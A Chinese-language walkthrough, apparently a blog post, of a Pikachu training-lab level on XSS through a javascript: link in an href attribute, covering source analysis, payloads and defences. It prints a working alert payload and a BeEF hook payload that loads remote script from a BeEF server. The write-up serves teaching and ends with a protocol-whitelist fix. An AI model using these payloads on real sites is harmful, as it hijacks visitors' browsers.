Pikachu靶场通关笔记(13) — XSS之href输出 (JavaScript伪协议)

31次阅读
没有评论

1. 核心考点

  • JavaScript 伪协议:理解 javascript: 协议在 URL 属性(如 href, src)中的执行能力。
  • 过滤函数的局限性:理解 htmlspecialchars 只能过滤特定字符,无法过滤“协议”或“语义”。
  • HTML 实体解码特性:理解浏览器在执行 href 中的 JS 之前,会先进行 HTML 实体解码,导致转义失效。

2. 源码分析

查看关键后端代码:

if(isset($_GET['submit'])){
    // ... 省略前面的判断...
    else {
        // 关键点:// 1. 输出位置在 <a href="..."> 内部
        // 2. 使用了 htmlspecialchars 并且开启了 ENT_QUOTES
        // 这意味着: ',", <, >, & 都会被转义
        $message=htmlspecialchars($_GET['message'],ENT_QUOTES);

        $html.="<a href='{$message}'> 阁下自己输入的 url 还请自己点一下吧 </a>";
    }
}

分析结论:

  1. 防御看似严格:使用了 ENT_QUOTES,这意味着我们在上一关用的单引号闭合 'onclick=' 大法失效了,因为 ' 会变成 &#039;,无法闭合 href 属性。
  2. 上下文漏洞:虽然无法闭合属性,但我们依然在 href 属性内部。<a> 标签的 href 属性支持 javascript: 伪协议。
  3. 语义未过滤htmlspecialchars 只负责转义字符,不负责检查字符串的“意义”。它不会阻止以 javascript: 开头的字符串。

3. 漏洞复现

3.1 基础测试 (弹窗)

我们不需要闭合引号,直接利用协议执行 JS。

输入:

javascript:alert('xss')

后端处理后的 HTML(源码):
由于有 ENT_QUOTES,单引号被转义:

<a href='javascript:alert(&#039;xss&#039;)'> 阁下自己输入的 url 还请自己点一下吧 </a>
Pikachu 靶场通关笔记(13) — XSS 之 href 输出 (JavaScript 伪协议)

执行结果:点击链接,成功弹窗。

Pikachu 靶场通关笔记(13) — XSS 之 href 输出 (JavaScript 伪协议)

为什么转义了还能执行?
这是一个非常重要的知识点:HTML 实体解码顺序

  1. 浏览器渲染页面时,读取 href 属性的值。
  2. 浏览器发现里面包含 HTML 实体(&#039;),于是先将其 解码 回单引号 '
  3. 解码后,浏览器解析协议,发现是 javascript:
  4. JS 引擎执行解码后的代码:javascript:alert('xss')
    所以,这里的转义反而被浏览器的自动解码给“抵消”了。

3.2 进阶:注入 BeEF Hook

目标:构建一个 <script> 标签并加载远程 JS。

Payload 构造:

javascript:var s=document.createElement('script');s.src='http://localhost:3000/hook.js';document.body.appendChild(s);

(注:实战或虚拟机环境中,请将 localhost 替换为 BeEF 服务器的真实 IP,如 192.168.x.x)

操作步骤:

  1. 将上述 Payload 填入输入框。
  2. 点击“提交”。
  3. 点击页面上生成的文字链接“阁下自己输入的 url 还请自己点一下吧”。
  4. 观察 Network 请求或 BeEF 后台,发现 hook.js 加载成功。
Pikachu 靶场通关笔记(13) — XSS 之 href 输出 (JavaScript 伪协议)
Pikachu 靶场通关笔记(13) — XSS 之 href 输出 (JavaScript 伪协议)

4. 防御措施

对于输出在 URL 属性(如 href, src)的情况,单纯的字符转义是不够的。

正确的防御方案:

  1. 协议白名单过滤:必须检查用户输入的开头是否为安全的协议(如 http://https://)。如果不是,则禁止输出或强制添加前缀。
  2. URL 编码:在输出前进行 URL 编码(但需注意不要把协议头破坏了,通常配合白名单使用)。

安全代码示例:

$url = $_GET['message'];
// 简单的白名单检查
if (strpos($url, 'http://') === 0 || strpos($url, 'https://') === 0) {
    // 依然要进行转义防止闭合引号
    $safe_url = htmlspecialchars($url, ENT_QUOTES);
    echo "<a href='{$safe_url}'> 跳转 </a>";
} else {echo "非法链接";}
正文完
 0
评论(没有评论)